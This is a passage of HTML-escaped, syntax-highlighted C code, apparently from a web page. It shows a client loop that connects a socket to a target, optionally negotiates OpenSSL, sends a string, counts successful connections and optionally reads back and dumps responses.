class=&quot;keyword&quot;&gt;else&lt;/span&gt;&lt;span&gt;&amp;nbsp;{ &amp;nbsp;&lt;/span&gt;&lt;/li&gt;&lt;li class=&quot;alt&quot;&gt;&lt;span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;setsockopt(s,&amp;nbsp;SOL_SOCKET,&amp;nbsp;SO_REUSEADDR,&amp;nbsp;&amp;amp;i,&amp;nbsp;&lt;/span&gt;&lt;span class=&quot;keyword&quot;&gt;sizeof&lt;/span&gt;&lt;span&gt;(i)); &amp;nbsp;&lt;/span&gt;&lt;/li&gt;&lt;li&gt;&lt;span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;} &amp;nbsp;&lt;/span&gt;&lt;/li&gt;&lt;li class=&quot;alt&quot;&gt;&lt;span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;} &amp;nbsp;&lt;/span&gt;&lt;/li&gt;&lt;li&gt;&lt;span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span class=&quot;keyword&quot;&gt;if&lt;/span&gt;&lt;span&gt;&amp;nbsp;(s&amp;nbsp;&amp;gt;=&amp;nbsp;0)&amp;nbsp;{ &amp;nbsp;&lt;/span&gt;&lt;/li&gt;&lt;li class=&quot;alt&quot;&gt;&lt;span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;ret&amp;nbsp;=&amp;nbsp;connect(s,&amp;nbsp;(&lt;/span&gt;&lt;span class=&quot;keyword&quot;&gt;struct&lt;/span&gt;&lt;span&gt;&amp;nbsp;sockaddr&amp;nbsp;*)&amp;amp;target,&amp;nbsp;&lt;/span&gt;&lt;span class=&quot;keyword&quot;&gt;sizeof&lt;/span&gt;&lt;span&gt;(target)); &amp;nbsp;&lt;/span&gt;&lt;/li&gt;&lt;li&gt;&lt;span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span class=&quot;keyword&quot;&gt;if&lt;/span&gt;&lt;span&gt;&amp;nbsp;(use_ssl&amp;nbsp;&amp;amp;&amp;amp;&amp;nbsp;ret&amp;nbsp;&amp;gt;=&amp;nbsp;0)&amp;nbsp;{ &amp;nbsp;&lt;/span&gt;&lt;/li&gt;&lt;li class=&quot;alt&quot;&gt;&lt;span class=&quot;preprocessor&quot;&gt;#ifdef&amp;nbsp;OPENSSL &lt;/span&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/li&gt;&lt;li&gt;&lt;span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span class=&quot;keyword&quot;&gt;if&lt;/span&gt;&lt;span&gt;&amp;nbsp;((ssl&amp;nbsp;=&amp;nbsp;SSL_new(sslContext))&amp;nbsp;==&amp;nbsp;NULL)&amp;nbsp;{ &amp;nbsp;&lt;/span&gt;&lt;/li&gt;&lt;li class=&quot;alt&quot;&gt;&lt;span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span class=&quot;keyword&quot;&gt;if&lt;/span&gt;&lt;span&gt;&amp;nbsp;(verbose)&amp;nbsp;{ &amp;nbsp;&lt;/span&gt;&lt;/li&gt;&lt;li&gt;&lt;span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;err&amp;nbsp;=&amp;nbsp;ERR_get_error(); &amp;nbsp;&lt;/span&gt;&lt;/li&gt;&lt;li class=&quot;alt&quot;&gt;&lt;span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;fprintf(stderr,&amp;nbsp;&lt;/span&gt;&lt;span class=&quot;string&quot;&gt;&amp;quot;Error&amp;nbsp;preparing&amp;nbsp;an&amp;nbsp;SSL&amp;nbsp;context:&amp;nbsp;%s\n&amp;quot;&lt;/span&gt;&lt;span&gt;,&amp;nbsp;ERR_error_string(err,&amp;nbsp;NULL)); &amp;nbsp;&lt;/span&gt;&lt;/li&gt;&lt;li&gt;&lt;span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;} &amp;nbsp;&lt;/span&gt;&lt;/li&gt;&lt;li class=&quot;alt&quot;&gt;&lt;span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;ret&amp;nbsp;=&amp;nbsp;-1; &amp;nbsp;&lt;/span&gt;&lt;/li&gt;&lt;li&gt;&lt;span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;}&amp;nbsp;&lt;/span&gt;&lt;span class=&quot;keyword&quot;&gt;else&lt;/span&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/li&gt;&lt;li class=&quot;alt&quot;&gt;&lt;span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;SSL_set_fd(ssl,&amp;nbsp;s); &amp;nbsp;&lt;/span&gt;&lt;/li&gt;&lt;li&gt;&lt;span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span class=&quot;keyword&quot;&gt;if&lt;/span&gt;&lt;span&gt;&amp;nbsp;(ret&amp;nbsp;&amp;gt;=&amp;nbsp;0&amp;nbsp;&amp;amp;&amp;amp;&amp;nbsp;SSL_connect(ssl)&amp;nbsp;&amp;lt;=&amp;nbsp;0)&amp;nbsp;{ &amp;nbsp;&lt;/span&gt;&lt;/li&gt;&lt;li class=&quot;alt&quot;&gt;&lt;span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;printf(&lt;/span&gt;&lt;span class=&quot;string&quot;&gt;&amp;quot;ERROR&amp;nbsp;%d\n&amp;quot;&lt;/span&gt;&lt;span&gt;,&amp;nbsp;SSL_connect(ssl)); &amp;nbsp;&lt;/span&gt;&lt;/li&gt;&lt;li&gt;&lt;span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span class=&quot;keyword&quot;&gt;if&lt;/span&gt;&lt;span&gt;&amp;nbsp;(verbose)&amp;nbsp;{ &amp;nbsp;&lt;/span&gt;&lt;/li&gt;&lt;li class=&quot;alt&quot;&gt;&lt;span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;err&amp;nbsp;=&amp;nbsp;ERR_get_error(); &amp;nbsp;&lt;/span&gt;&lt;/li&gt;&lt;li&gt;&lt;span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;fprintf(stderr,&amp;nbsp;&lt;/span&gt;&lt;span class=&quot;string&quot;&gt;&amp;quot;Could&amp;nbsp;not&amp;nbsp;create&amp;nbsp;an&amp;nbsp;SSL&amp;nbsp;session:&amp;nbsp;%s\n&amp;quot;&lt;/span&gt;&lt;span&gt;,&amp;nbsp;ERR_error_string(err,&amp;nbsp;NULL)); &amp;nbsp;&lt;/span&gt;&lt;/li&gt;&lt;li class=&quot;alt&quot;&gt;&lt;span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;} &amp;nbsp;&lt;/span&gt;&lt;/li&gt;&lt;li&gt;&lt;span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;ret&amp;nbsp;=&amp;nbsp;-1; &amp;nbsp;&lt;/span&gt;&lt;/li&gt;&lt;li class=&quot;alt&quot;&gt;&lt;span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;} &amp;nbsp;&lt;/span&gt;&lt;/li&gt;&lt;li&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/li&gt;&lt;li class=&quot;alt&quot;&gt;&lt;span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span class=&quot;keyword&quot;&gt;if&lt;/span&gt;&lt;span&gt;&amp;nbsp;(debug) &amp;nbsp;&lt;/span&gt;&lt;/li&gt;&lt;li&gt;&lt;span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;fprintf(stderr,&amp;nbsp;&lt;/span&gt;&lt;span class=&quot;string&quot;&gt;&amp;quot;SSL&amp;nbsp;negotiated&amp;nbsp;cipher:&amp;nbsp;%s\n&amp;quot;&lt;/span&gt;&lt;span&gt;,&amp;nbsp;SSL_get_cipher(ssl)); &amp;nbsp;&lt;/span&gt;&lt;/li&gt;&lt;li class=&quot;alt&quot;&gt;&lt;span class=&quot;preprocessor&quot;&gt;#endif &lt;/span&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/li&gt;&lt;li&gt;&lt;span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;} &amp;nbsp;&lt;/span&gt;&lt;/li&gt;&lt;li class=&quot;alt&quot;&gt;&lt;span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;count++; &amp;nbsp;&lt;/span&gt;&lt;/li&gt;&lt;li&gt;&lt;span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span class=&quot;keyword&quot;&gt;if&lt;/span&gt;&lt;span&gt;&amp;nbsp;(ret&amp;nbsp;&amp;gt;=&amp;nbsp;0)&amp;nbsp;{ &amp;nbsp;&lt;/span&gt;&lt;/li&gt;&lt;li class=&quot;alt&quot;&gt;&lt;span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;successful++; &amp;nbsp;&lt;/span&gt;&lt;/li&gt;&lt;li&gt;&lt;span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;warn&amp;nbsp;=&amp;nbsp;0; &amp;nbsp;&lt;/span&gt;&lt;/li&gt;&lt;li class=&quot;alt&quot;&gt;&lt;span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span class=&quot;keyword&quot;&gt;if&lt;/span&gt;&lt;span&gt;&amp;nbsp;(str_len&amp;nbsp;&amp;gt;&amp;nbsp;0)&amp;nbsp;{ &amp;nbsp;&lt;/span&gt;&lt;/li&gt;&lt;li&gt;&lt;span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span class=&quot;keyword&quot;&gt;if&lt;/span&gt;&lt;span&gt;&amp;nbsp;(use_ssl)&amp;nbsp;{ &amp;nbsp;&lt;/span&gt;&lt;/li&gt;&lt;li class=&quot;alt&quot;&gt;&lt;span class=&quot;preprocessor&quot;&gt;#ifdef&amp;nbsp;OPENSSL &lt;/span&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/li&gt;&lt;li&gt;&lt;span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;SSL_write(ssl,&amp;nbsp;str,&amp;nbsp;str_len); &amp;nbsp;&lt;/span&gt;&lt;/li&gt;&lt;li class=&quot;alt&quot;&gt;&lt;span class=&quot;preprocessor&quot;&gt;#endif &lt;/span&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/li&gt;&lt;li&gt;&lt;span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;}&amp;nbsp;&lt;/span&gt;&lt;span class=&quot;keyword&quot;&gt;else&lt;/span&gt;&lt;span&gt;&amp;nbsp;{ &amp;nbsp;&lt;/span&gt;&lt;/li&gt;&lt;li class=&quot;alt&quot;&gt;&lt;span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;setsockopt(s,&amp;nbsp;SOL_SOCKET,&amp;nbsp;SO_REUSEADDR,&amp;nbsp;&amp;amp;i,&amp;nbsp;&lt;/span&gt;&lt;span class=&quot;keyword&quot;&gt;sizeof&lt;/span&gt;&lt;span&gt;(i)); &amp;nbsp;&lt;/span&gt;&lt;/li&gt;&lt;li&gt;&lt;span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span class=&quot;keyword&quot;&gt;if&lt;/span&gt;&lt;span&gt;&amp;nbsp;(setsockopt(s,&amp;nbsp;SOL_TCP,&amp;nbsp;TCP_NODELAY,&amp;nbsp;&amp;amp;i,&amp;nbsp;&lt;/span&gt;&lt;span class=&quot;keyword&quot;&gt;sizeof&lt;/span&gt;&lt;span&gt;(i))&amp;nbsp;!=&amp;nbsp;0) &amp;nbsp;&lt;/span&gt;&lt;/li&gt;&lt;li class=&quot;alt&quot;&gt;&lt;span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;perror(&lt;/span&gt;&lt;span class=&quot;string&quot;&gt;&amp;quot;Warning&amp;nbsp;(setsockopt&amp;nbsp;SOL_TCP)&amp;quot;&lt;/span&gt;&lt;span&gt;); &amp;nbsp;&lt;/span&gt;&lt;/li&gt;&lt;li&gt;&lt;span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;write(s,&amp;nbsp;str,&amp;nbsp;str_len); &amp;nbsp;&lt;/span&gt;&lt;/li&gt;&lt;li class=&quot;alt&quot;&gt;&lt;span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;} &amp;nbsp;&lt;/span&gt;&lt;/li&gt;&lt;li&gt;&lt;span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;} &amp;nbsp;&lt;/span&gt;&lt;/li&gt;&lt;li class=&quot;alt&quot;&gt;&lt;span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span class=&quot;keyword&quot;&gt;if&lt;/span&gt;&lt;span&gt;&amp;nbsp;(dump)&amp;nbsp;{ &amp;nbsp;&lt;/span&gt;&lt;/li&gt;&lt;li&gt;&lt;span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;fcntl(s,&amp;nbsp;F_SETFL,&amp;nbsp;O_NONBLOCK); &amp;nbsp;&lt;/span&gt;&lt;/li&gt;&lt;li class=&quot;alt&quot;&gt;&lt;span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span class=&quot;keyword&quot;&gt;if&lt;/span&gt;&lt;span&gt;&amp;nbsp;(dump_delay&amp;nbsp;&amp;gt;&amp;nbsp;0) &amp;nbsp;&lt;/span&gt;&lt;/li&gt;&lt;li&gt;&lt;span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;usleep(dump_delay); &amp;nbsp;&lt;/span&gt;&lt;/li&gt;&lt;li class=&quot;alt&quot;&gt;&lt;span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span class=&quot;keyword&quot;&gt;if&lt;/span&gt;&lt;span&gt;&amp;nbsp;(use_ssl)&amp;nbsp;{ &amp;nbsp;&lt;/span&gt;&lt;/li&gt;&lt;li&gt;&lt;span class=&quot;preprocessor&quot;&gt;#ifdef&amp;nbsp;OPENSSL &lt;/span&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/li&gt;&lt;li class=&quot;alt&quot;&gt;&lt;span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;reads&amp;nbsp;=&amp;nbsp;SSL_read(ssl,&amp;nbsp;buf,&amp;nbsp;&lt;/span&gt;&lt;span class=&quot;keyword&quot;&gt;sizeof&lt;/span&gt;&lt;span&gt;(buf)); &amp;nbsp;&lt;/span&gt;&lt;/li&gt;&lt;li&gt;&lt;span class=&quot;preprocessor&quot;&gt;#endif &lt;/span&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/li&gt;&lt;li class=&quot;alt&quot;&gt;&lt;span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;}&amp;nbsp;&lt;/span&gt;&lt;span class=&quot;keyword&quot;&gt;else&lt;/span&gt;&lt;span&gt;&amp;nbsp;{ &amp;nbsp;&lt;/span&gt;&lt;/li&gt;&lt;li&gt;&lt;span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;reads&amp;nbsp;=&amp;nbsp;read(s,&amp;nbsp;buf,&amp;nbsp;&lt;/span&gt;&lt;span class=&quot;keyword&quot;&gt;sizeof&lt;/span&gt;&lt;span&gt;(buf)); &amp;nbsp;&lt;/span&gt;&lt;/li&gt;&lt;li class=&quot;alt&quot;&gt;&lt;span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;} &amp;nbsp;&lt;/span&gt;&lt;/li&gt;&lt;li&gt;&lt;span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span class=&quot;keyword&quot;&gt;if&lt;/span&gt;&lt;span&gt;&amp;nbsp;(reads&amp;nbsp;&amp;gt;&amp;nbsp;0) 